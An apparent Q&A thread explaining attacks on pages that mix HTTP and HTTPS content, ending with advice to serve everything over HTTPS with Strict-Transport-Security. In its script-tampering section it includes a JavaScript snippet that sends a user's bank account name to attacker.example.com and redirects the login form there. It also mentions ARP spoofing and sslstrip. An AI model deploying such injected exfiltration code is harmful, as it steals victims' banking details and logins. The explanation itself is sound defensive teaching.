I recall hearing there is a range of attacks one can mount against a page which mixes HTTP and HTTPS loaded content
Basically the problem is that an HTTP connection can be tampered with. HTTPS is secured, doing three things:
Authenticating that the connected server is really the one you want (e.g. google.com).
Preventing anyone else from reading the data that you sent or that you receive.
Preventing the sent or received data from being modified.
Any non-https connection, even when loaded from an https-page, is subject to any of these three. I could impersonate
google.com by spoofing the DNS (in whatever way), I could read what is being sent (an image could contain personal info if it's dynamically generated), or I could modify the page's contents.
Now there are basically two degrees in how bad such a mix is:
When a script is loaded from an http connection (on an https page), that's extremely bad. You can consider the entire page to be compromised since it's easy to read and even modify the page by injecting data into the script.
When an image, css file or another meta-file is loaded, that still opens the page up for some attacks. It might not be bad, but it totally could be. Since you never know, the browser should warn the user (by removing the padlock and displaying a mixed-content warning).
Could anyone list some common attacks that can be launched through this vector?
Basically there is only one problem: Man in the middle attacks. I'll break it up into two parts:
The internet is a network of networks. As your traffic travels across the internet, it can pass many networks. A simple traceroute to stackexchange.com shows that my traffic passes the following networks: my own, xs4all's, above.net's, pnap.net's, and finally stackexchange's. All of these could have taps, either specifically for me or not. Many of their employees could also view my data. This is mostly a non-issue if you don't have a tap, except if the connection passes a network from countries that heavily monitor internet traffic (Iran, China (USA?)). Usually your own network is the biggest issue though. Company networks often allow for ARP spoofing, which is an easy way to read everyone's traffic without anyone noticing. WiFi networks might be cracked as well. Even if you're not on WiFi yourself, if your network has a WiFi access point somewhere then your traffic might be read by others.
Note: Governments (or rogue employees) might still be tapping your connection when using https by placing a tap at the website's end. They can bug the server and monitor all your moves on that site. I've never heard of this happening by governments, but they have the methods to. Note that this should be possible for governments. There are legitimate reasons to do this, they're just extremely rare. The recent criticism on the NSA's (and US' in general) surveillance is because it's too much, not because any surveillance is bad.
Actually modifying the page.
How effective this is depends on the content type like I mentioned above. The easiest way to simulate this is by using proxies like the Zed attack proxy. To attack other systems you'll first need to setup ARP spoofing or something that does the same. Here is more in-depth what you can do with various content types:
a. Modifying scripts:
// Send the bank account of the user to another website
var bankaccount = document.getElementById("AccountName").innerHTML;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.example.com/?a=" + escape(bankaccount), true);
// And make the login form submit to another website.
document.getElementById("loginform").action = "http://attacker.example.com/fakeLoginPage.php";
b. Modifying images:
When the attacker can control an image like the site's logo on the left top, he could change it so that it's a huge image covering the whole page. A part of the image might be a screenshot of how the page is supposed to look like, and a part of the image could be a message to the user, giving them false instructions (which might be letting them call their bank at an incorrect phone number or so).
c. Modifying CSS:
This is like the image modification, except here you can add arbitrary images and text anywhere on the page. If done correctly by the attacker, this is almost as severe as script injection. Content on the page can still not be read by the attacker, but what the user sees is now entirely up to the attacker. Phone numbers and any other instructions can be changed. The page could even say "use
https://phishing.example.com instead because we have a security issue!" Yes, https will work on this phishing page. It's easy and legal to get https certificates for any domain you want.
d. When an iframe is loaded over HTTP
e. An http website links to an https website
This is not a problem if users check the domain and padlock, but how many know what to look for, and look for it every time? This is frighteningly close to zero. When your login form is on http but submits to https,
sslstrip (or some custom modification) can easily make it submit to another http website. Optionally it can redirect to the https website after submitting to http so the user does not notice anything at all.
If you want to do https properly, the only way is to enable it for your entire website. All images, stylesheets, iframes (Facebook's Like® button) and everything else should be secured. This might be a big undertaking for a big website, but if you take security seriously then it is certainly worth it.
Additionally, make sure that your webservers reject any http requests and redirect the user to the https page instead (without the http request being processed at all) and give them a Strict-Transport-Security header.